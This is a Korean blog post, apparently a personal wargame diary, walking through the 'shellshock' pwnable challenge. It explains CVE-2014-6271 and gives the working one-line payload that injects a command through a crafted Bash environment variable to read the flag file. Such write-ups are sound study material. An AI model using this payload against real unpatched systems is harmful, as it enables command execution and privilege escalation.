Yozzang의 해킹일기 💻
article thumbnail
Published 2022. 7. 8. 00:12
Pwnable (10. shellshock) Wargame/Pwnable
728x90

이번 포스트에서는 Pwnable의 shellshock 문제에 대해 다루겠다.

 


문제 코드는 다음과 같다.

#include <stdio.h>
int main(){
        setresuid(getegid(), getegid(), getegid());
        setresgid(getegid(), getegid(), getegid());
        system("/home/shellshock/bash -c 'echo shock_me'");
        return 0;
}

## 문제 해석 :

setresuid()와 setresgid()를 통해 user, group ID를 설정하고 bash를 실행하여 "shock_me"가 출력된 것을 알 수 있다.

여기서 해당 문제 이름을 보면 shellshock라고 되어있는데 이는 곧 CVE-2014-6271(Bash Shellshock) 취약점을 연상케 한다.

 

Bash Shellshock 취약점은 ()로 시작하는 변수가 subshell이 실행되면 {...} 부분, 즉 바디 부분이 함수로 인식되고, 그 이후에 오는 어떠한 커맨드를 실행한다는 특징을 가지고 있다.

## 문제 풀이 :

Bash Shellshock 취약점을 이용하여 우선 아무 환경변수를 선언하고 특정 커맨드를 실행해보겠다.

테스트 공격

./bash를 실행해보니 현재 디렉터리의 위치가 출력된다. 즉 /bash를 통해 subprocess를 실행시키는데, 이때 조작된 변수가 초기화되고 그 과정에서 뒤에 있는 "pwd"라는 명령어가 실행됐다는 것이다.

 

CVE-2014-6271에 관한 더 자세한 내용은 아래의 포스트를 참고하면 된다.

https://operatingsystems.tistory.com/entry/Shellshock-CVE20146271

## 최종 결과 : 

### 공격 코드 : env x='() { :; }; /bin/cat flag' ./shellshock

### 실행 결과 :

공격 실행

Flag = only if I knew CVE-2014-6271 ten years ago..!!

'Wargame > Pwnable' 카테고리의 다른 글

Pwnable (12. blackjack)  (0) 2022.07.10
Pwnable (11. coin1)  (0) 2022.07.09
Pwnable (9. mistake)  (0) 2022.07.07
Pwnable (8. leg)  (0) 2022.07.06
Pwnable (7. input)  (0) 2022.07.05
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!